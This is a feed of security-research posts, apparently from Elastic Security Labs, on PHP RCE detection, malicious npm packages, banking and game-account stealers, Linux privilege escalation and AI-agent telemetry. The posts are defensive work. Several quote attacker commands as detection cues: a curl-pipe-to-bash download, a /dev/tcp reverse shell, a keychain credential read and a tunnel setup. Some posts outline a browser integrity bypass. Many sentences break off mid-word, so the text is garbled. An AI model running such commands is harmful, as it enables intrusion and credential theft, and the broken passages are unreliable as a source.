Microsoft wants EDR out of the Windows kernel. We checked the binaries

They even come with public symbols. Full write-up from @zodiacon : go.es.io/4zcdL2U

Microsoft's answer is the Windows Endpoint Security Platform (WESP). It's undocumented, but it already ships in
What we found:
• wesp.sys: a Microsoft-built file system mini-filter at altitude 329500
• EspFilterPort: the filter communication port it uses to reach user mode
• espclient.dll: 120 Esp* exports for rules, filters and event queues

Two critical PHP RCEs are patched: CVE-2026-109618 and CVE-2026-109619, both CVSS 9.2.
• Fixed in 8.5.12, 8.4.27, 8.3.36, and 8.2.35.

You can still focus on detection coverage today.

Security Labs writeup (coverage + guidance): elastic.co/security-labs/…

Most PHP RCEs converge atever the bug: a web server process (php-fpm, php-cgi, apache2, httpd) doing something a request-serving daemon almost never does legitimately.

• a shell to confirm access: id, whoami, uname -a
• a second stage pulled in: curl http://... | bash
• a reverse shell: bash -i >& /dev/tcp//
• a webshell written into the web root

The bug class is public now: out-of-memory corruption, and stale state reused by the same worker. The behavior is what you detect.

We recently ran a different PHP RCE end-to-end (wp2shell): apache2 spawning dash to run id; whoami; hostname fired the exact rules that we suspect to catch php2shell. Payload Execution by Web Server kills the shell on the endpoint.

The Suspicious/Unusual Command, Child, and File Creation via Web Server rules stack on top.

(PHP did confirm partial php.ini mitigations. session.upload_progress.enabled=0 blocks the confirmed session paths only. Patch is still the fix.)

Patch to 8.5.12, 8.4.27, 8.3.36, or 8.2.35. Verify that the stack is enabled now.

Guidance + every rule link below.

Rules it maps to:
• Payload Execution by Web Server: github.com/elastic/protec…
• Payload Downloaded via Curl or Wget by Web Server: github.com/elastic/protec…
• Suspicious Command Execution via Web Server: github.com/elastic/detect…
• Unusual Command Execution via Web Server: github.com/elastic/detect…
• File Creation via Web Server (+ polyglot / double-extension): github.com/elastic/detect…

wp2shell walkthrough: elastic.co/security-labs/…

571 IIS servers hijacked using machine keys from public docs.

@soolidsnakee and @k33b0i break down REF3927 at @virusbtn VB2026
• Today, 15:00 CEST in the Green room.

Talk abstract and kill chain outline: go.es.io/3Us9kSw
Full blog: go.es.io/4hZ5TKG

We identified a malicious npm package, apexacc/cli, which led us to an operation posing as a Web3 accelerator.

Read more about REF8801 by @k33b0i and @DanielStepanic : go.es.io/3TDeUBk

The fake accelerator spent months courting crypto founders with free Claude and pply-chain monitor caught the package. It was malicious from its first published version.

The 2 Apex packages we examined, and what they deliver:
• apexacc/cli: redirects OpenRouter-labeled model requests to an attacker-controlled API
• apexacc/audit: MCP server whose 18 tools return fabricated findings
• macOS payload: CloudSyncD backdoor
• Windows payload: infostealer that exfiltrates to Telegram

We asked the operation's scoring tool to rate a project that doesn't exist. It scored 51 in every category, and said its AI scorer was down.

AlertZero, the agentic layer of Elastic Security, is heading to technical preview.

Full walkthrough from @jamesspi, including the ES|QL query Detection Watch uses to rank rules by false-positive closures: go.es.io/4drpzpg

AlertZero has 4 Watches, each a group of named ponsibility.

• Triage Watch: alert analysis plus Attack Discovery, one Investigation per attack
• Hunt Watch: threat research tested against your telemetry, exact lookups first, behavior second
• Detection Watch: investigates rule gaps and FPs, proposing the edit with a backtest
• Forensics Watch: reconstructs the endpoint, then proposes response actions through Elastic Defend

Every consequential change arrives as a Proposed Action. Approved and executed are logged as separate states.

Which detection rules should you enable first?

Our prebuilt rules now answer that with a Profile tag.
It's a points score, recalculated monthly from fleet telemetry. Full scoring model: go.es.io/3Tl4W7y

Additional context added via rules tags:
- Noise: alert volume per fleet
- Performance: average and p95 execution time
- Threat: whether it covers a threat our team actively tracks
- Profile: severity plus the other 3, rolled into Recommended or Aggressive

Profile is a quick starting point: 385 rules are Recommended.
Noise, Performance and Threat show the trade-off behind each call.
Domain, Platform and DataSource tags then narrow it to your own track.

9:00 a.m. A phishing email gets quarantined.
9:05 a.m. An endpoint runs a suspicious PowerShell command.

Each one looks handled on its own. The quarantine did its job, and one odd PowerShell process a day is background noise in most environments.

Together they're the opening body sees them side by side because they live in 2 different tools.

Sublime Security's email telemetry now lands natively in Elastic Security, next to your endpoint, identity, and network data.

From there, Attack Discovery ties the quarantined email to the endpoint alerts and builds one attack chain. Mapped to MITRE ATT&CK, reasoning included.

Elastic Workflows opens a case and pings the analyst on Slack, evidence attached. Approve or reject from there.

The agents connect the signals and surface an evidence-backed decision. Consequential actions still go through the analyst.

Full walkthrough, including the 7-step flow and the two-stage rollout: go.es.io/4hHaGka

Poor emulation produces poor data. Poor data produces poor detections.

Part 1 of 3: the context and 10-step methodology behind cloud threat emulation, from scope to cleanup. Tooling and AI coming later.

By @Bryan3c and @_xDeJesus x.com/i/article/2102…

We are investigating a malicious package, apexacc/cli, distributed in the npm registry. Initial assessment shows that the package performs registry modifications to Windows Smart App Control, AV exclusions, UAC elevation attempts, and includes Base64-encoded PowerShell payloads. ge shows that for the Windows path, its verification step requests commands from vrf.apexaccs[.]org, then runs encoded PowerShell. We traced the execution chain through Python/PyInstaller and PyArmor layers to a Go shellcode loader. The final component in the chain shows strong infostealer characteristics.

Variants of this campaign and techniques have been observed and documented here - go.es.io/3V3c7BC and go.es.io/4AoyO3y. Since it was discovered in July 2026, it has been added to, and remains in, the npm package registry.

We have reported this package to npm and are continuing to investigate. We will update this thread as we learn more.

KREMLIN is a multi-stage credential theft toolkit targeting Brazilian banking users.

New research from Elastic Security Labs (REF9334): go.es.io/4yfkg4R by @cyril_t_f and @andythevariable

The infection chain combines JavaScript loaders, an optional PE injector, and a he installer downloads and installs a malicious browser extension for Chrome and Edge and/or deploys an embedded PULSAR or REMCOS RAT. This malicious extension is then used for web-browser data interception and exfiltration.

KREMLIN resolves its C2 endpoints from Ethereum. Smart contracts store payload URLs and extension download locations as on-chain key-value pairs. The operators update endpoints by writing a new transaction.

The extension installation bypasses Chromium's integrity system. The installer launches Chrome under a debugger, recovers the App-Bound OSCrypt key from process memory, extracts the seed from resources.pak, then regenerates the HMACs and encrypted SHA-256 hashes that Secure Preferences requires. The extension registers silently with developer mode forced on.

Once active, it logs input fields, intercepts HTTP requests by configurable URL and method rules, injects attacker-controlled HTML, and exfiltrates intercepted data, cookies, and credentials over WebSocket and HTTP.

Elastic Security Labs Threat Command registered the network canary domain that operates as a kill switch. We observed thousands of implants from Brazil attempting to check in to this domain. Once this domain was live, the KREMLIN loaders crash before trying to update or install the final payload, temporarily disrupting this campaign.

The targeting is clear. Lure filenames impersonate PIX transfers, bank statements, and receipts from Banco do Brasil, Bradesco, Sicoob, Santander, C6 Bank, and PagBank. Ethereum transaction timestamps cluster in São Paulo working hours. Portuguese-language artifacts appear throughout the codebase.

2026 has been a busy year for Linux local privilege escalation.

New kernel LPEs kept landing, several of them variations on the same idea, and a rule written per CVE was never going to keep pace.

So our detection keys on what escalations have in common rather than on what each eged process execs from a world-writable path, then something in that lineage changes uid to 0
- A SUID/SGID binary runs with effective uid 0 while the real user is not root
- unshare(CLONE_NEWUSER) shows up as a precursor
- A shell or interpreter finishes as root out of a user-controlled directory
- A binary that should never have been setuid-root gets used the way GTFOBins documents

Most of these rules have been shipping for a while, the unshare one since 2022. When we ran this year's public PoCs in the lab, several tripped rules that predate them.

The blog covers the general LPE categories and the logic behind each, a walk through of this year's CVEs with the rules that fired and why, where the layers need tuning, and the framework ready to use.

Full framework, EQL logic, and every rule mapped by @RFGroenewoud : go.es.io/4ywkzaR

"Fileless" doesn't mean invisible on Linux.

We examine five execution patterns, their observable behavior, and the opportunities defenders have to detect them.

Research by @RFGroenewoud:
Blog: go.es.io/4iJPhbR

Helper: FENIX can be used to learn and check coverage in a lab.

Hijacked YouTube channels are pushing an emerging infostealer.

We're tracking #REVSTEALER: at least 17 compromised channels advertising free game cheats, funneling viewers to 2 malicious domains.

The stealer itself is built for long-term operation:
- Sandbox scoring: 10 erminates at a score of 7+
- App-Bound Encryption bypass: reads the decrypted key from browser memory under debugger control
- EtherHiding: fallback C2 stored in a Polygon smart contract, swappable without touching the binary
- Gaming focus: session cookies from Steam, Battlenet, and Roblox, feeding account resale markets
- 4,700 related samples hit VirusTotal in the past year.

Our team observed 4 follow-on modules that haven't been publicly documented until now.

Full analysis, whitepaper, YARA rule, and an IDAPython string decryption tool by @k33b0i, @soolidsnakee and @DanielStepanic:
Blog: go.es.io/4iJZRQe
Whitepaper: go.es.io/4xcanmZ

We reverse engineered malware built to kill our own EDR.

In August 2026, eSentire documented a ClickFix campaign selling a DLL sideloader as a service.

It drops a malicious mscoree.dll next to a signed Microsoft binary, vb7to8.exe. Windows loads the planted copy first. Attacker trusted process.

The kit also ships a vulnerable driver (BYOVD) to disable EDR, including Elastic Endpoint.

So we rebuilt it. A NativeAOT .NET 7 library, exports faked, a module initializer that fires on load.

We dropped it beside vb7to8.exe and ran it.

Elastic Defend 9.5.0 flagged the load as DLL Hijack: Masquerading.

Detecting this before 9.5.0 took ~88 lines and a list of ~2,600 library names. Now it's one line.

MITRE ATT&CK: T1574.001 (Hijack Execution Flow: DLL), T1036 (Masquerading).

Reverse engineering walkthrough, the .NET rebuild, and the detection breakdownby @0xfluxsec and @django88_: go.es.io/4xw6o5G

Original campaign research by @eSentire.

We reproduced the new Log4j 2 deserialization bug on official 2.26.1 JARs.

Getting to command execution took two things Log4j does not ship:
- A process still deserializing serialized LogEvent objects
- A gadget library already on that JVM

log4j-api and log4j-core alone were what to hunt for: Java accepting a network connection, followed by spawning a suspicious child process.

That is post-exploitation behaviour, not a signature of the bug itself.
Treat it as possible gadget execution and check the JVM.

ES|QL hunt queries and affected versions are in the post.

How the bypass works, which versions carry it, and what to hunt for by @RFGroenewoud and @bryans3c : go.es.io/4y8b0ih

Now on YouTube — my Black Hat Asia 2026 talk on TraceLogging ETW providers: what's out there, and how to turn them into detection.

"Hidden Telemetry: Uncovering TraceLogging ETW Providers You're Not Using (Yet)"
youtube.com/watch?v=ubFcs1…

We gave hundreds of developers an AI agent that can run shell commands, edit files, and call MCP servers on their laptops.

Then we realized we had no record of what it actually did.

So we built one.

1 bash script, 280 lines, no dependencies. Cursor hooks fire it on every tool call. Elastic Agent ships the log to Elasticsearch.

Since the May rollout: 13M+ tool-call events across 1,100+ machines.

What the data showed:
- File reads outnumber shell commands roughly 4 to 1: agents mostly read your codebase before acting
- 300+ distinct MCP servers in use, 86% of them by only 1 or 2 people
- The CLI surface alone produced nearly a fifth of all events

"Which hosts ran an agent that read a .pem file last week?" is now 1 ES|QL query.

We log commands, paths, and tool names. Never file contents, prompts, or responses.

Full writeup from Wieger van der Meulen on the InfoSec team: the collector script, hooks.json, the 2 deployment gotchas that cost the most time, and the ES|QL hunting queries.

go.es.io/4wHDZID

A credential POST, then a reverse tunnel, then LaunchAgents to keep it alive.

The parent process was vendor-signed Claude Code.

We reviewed one macOS developer endpoint, a single window on 23 Jul. Immediate children were mostly zsh, not Claude running every binary itself.

- a <id>.lhr[.]life host, credentials sitting in the command line
- a poll loop until HTTP 200, bodies discarded to /dev/null
- a cookie-authed /api/summary pull filtered to {spend}
- cloudflared tunnel --url http://localhost:<port>, control plane at api.trycloudflare[.]com
- PlistBuddy setting StartInterval 60 on a com.<vendor>.<app>.watchdog plist, reloaded via launchctl bootstrap

In a queue that's an intrusion. It's also indistinguishable from vibe-coded ops: someone published a local dashboard through a free tunnel and logged into it with agent help.

Nothing in the telemetry separates the two.

VirusTotal flags the lhr[.]life apex. Free tunnel brokers get flagged precisely because they get abused, so that's a hunt signal and not a verdict. Load the apex yourself and it answers "no tunnel here." The Cyrillic status strings in the wrapper (проверка, "check") add attribution weight they haven't earned.

The keychain read has the same problem. The host ran security find-generic-password -s "Claude Code-credentials", which prints an OAuth token to STDOUT. Documented Claude Code behavior.

What fired: Unusual Network Connection to Suspicious Top Level Domain, Unusual Network Connection to Suspicious Web Service, Persistence via GenAI Tool. No single rule owned the sequence.

Sequence is what made the case: readiness loop, publish localhost, then a LaunchAgent with KeepAlive polling the public URL.

Don't auto-close it because Claude or Cursor sits in the process tree. That instinct only gets more expensive as agents take on more of what developers already do in a shell.

Full write-up from @stryker0x and @k33b0i , including the days of tunnel-binary noise before this window, three related cases on other hosts, and the ATT&CK mapping: go.es.io/4wPjYAS

A new Shai-Hulud campaign deployed a self-propagating worm across the npm supply chain.

Our supply chain monitor caught it yesterday, August 4th. The campaign targeted keyv: 600 million monthly downloads.

CHAINDROP activates on stolen npm tokens with write permissions, then the victim controls.

Over 400 npm packages compromised.

Full research and IOCs in the blog: go.es.io/4pUx39a